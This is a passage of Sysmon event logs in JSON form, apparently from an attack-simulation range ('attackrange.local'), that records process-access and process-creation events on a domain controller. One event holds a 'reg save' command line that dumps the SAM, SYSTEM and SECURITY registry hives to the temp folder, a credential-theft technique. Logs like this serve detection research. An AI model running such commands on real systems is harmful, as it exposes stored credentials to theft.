C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010DC490800}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010DC490800}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010DC490800}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7A2723)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010DC490800}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7A2723)","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.057\r\nProcessGuid: {90617006-4170-5F2D-0000-0010A54A0800}\r\nProcessId: 2792\r\nImage: C:\\Windows\\System32\\reg.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Registry Console Tool\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: reg.exe\r\nCommandLine: reg save HKLM\\sam C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\sam \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352\r\nParentProcessGuid: {90617006-4170-5F2D-0000-0010DC490800}\r\nParentProcessId: 4788\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"reg save HKLM\\sam %temp%\\sam & reg save HKLM\\system %temp%\\system & reg save HKLM\\security %temp%\\security\" ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.057","ProcessGuid":"{90617006-4170-5F2D-0000-0010A54A0800}","Image":"C:\\Windows\\System32\\reg.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Registry Console Tool","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"reg.exe","CommandLine":"reg save HKLM\\sam C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\sam ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352","ParentProcessGuid":"{90617006-4170-5F2D-0000-0010DC490800}","ParentProcessId":"4788","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"reg save HKLM\\sam %temp%\\sam & reg save HKLM\\system %temp%\\system & reg save HKLM\\security %temp%\\security\" ","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-4170-5F2D-0000-0010DC490800}\r\nSourceProcessId: 4788\r\nSourceThreadId: 4084\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A54A0800}\r\nTargetProcessId: 2792\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+8564|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-4170-5F2D-0000-0010DC490800}","SourceProcessId":"4788","SourceThreadId":"4084","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A54A0800}","TargetProcessId":"2792","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+8564|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A54A0800}\r\nTargetProcessId: 2792\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A54A0800}","TargetProcessId":"2792","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 